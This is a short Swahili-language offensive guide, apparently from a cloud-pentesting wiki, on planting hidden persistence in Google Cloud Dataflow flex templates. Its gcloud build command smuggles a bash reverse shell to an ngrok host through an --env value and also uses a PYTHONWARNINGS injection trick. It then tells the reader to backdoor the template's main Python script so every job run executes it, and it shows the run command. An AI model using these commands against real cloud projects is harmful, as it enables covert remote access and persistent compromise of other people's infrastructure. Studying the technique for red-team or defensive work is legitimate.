Dataflow

Isiyoonekana persistence katika container iliyojengwa

Kwa kufuata tutorial from the documentation unaweza kuunda flex template mpya (kwa mfano python):

Create Dataflow flex template with backdoor ```bash git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git cd python-docs-samples/dataflow/flex-templates/getting_started

Create repository where dockerfiles and code is going to be stored

export REPOSITORY=flex-example-python gcloud storage buckets create gs://$REPOSITORY

Create artifact storage

export NAME_ARTIFACT=flex-example-python gcloud artifacts repositories create $NAME_ARTIFACT
–repository-format=docker
–location=us-central1 gcloud auth configure-docker us-central1-docker.pkg.dev

Create template

export NAME_TEMPLATE=flex-template gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json
–image-gcr-path “us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest”
–sdk-language “PYTHON”
–flex-template-base-image “PYTHON3”
–metadata-file “metadata.json”
–py-path “.”
–env “FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py”
–env “FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt”
–env “PYTHONWARNINGS=all:0:antigravity.x:0:0”
–env “/bin/bash -c ‘bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1’ & #%s”
–region=us-central1

</details>

**Wakati inajenga, utapata reverse shell** (unaweza kutumia vibaya env variables kama katika mfano uliopita au vigezo vingine vinavyoweka Docker file ili kuendesha amri yoyote). Wakati huo, ndani ya reverse shell, inawezekana **kuenda kwenye saraka `/template` na kubadilisha code ya script kuu ya python ambayo itaendeshwa (kwa mfano wetu hii ni `getting_started.py`)**. Weka backdoor yako hapa ili kila mara job itakapotekelezwa, backdoor hiyo itatekelezwa.

Kisha, mara ijayo job itakapotekelezwa, container iliyoharibiwa iliyojengwa itaendeshwa:

<details>

<summary>Endesha Dataflow template</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
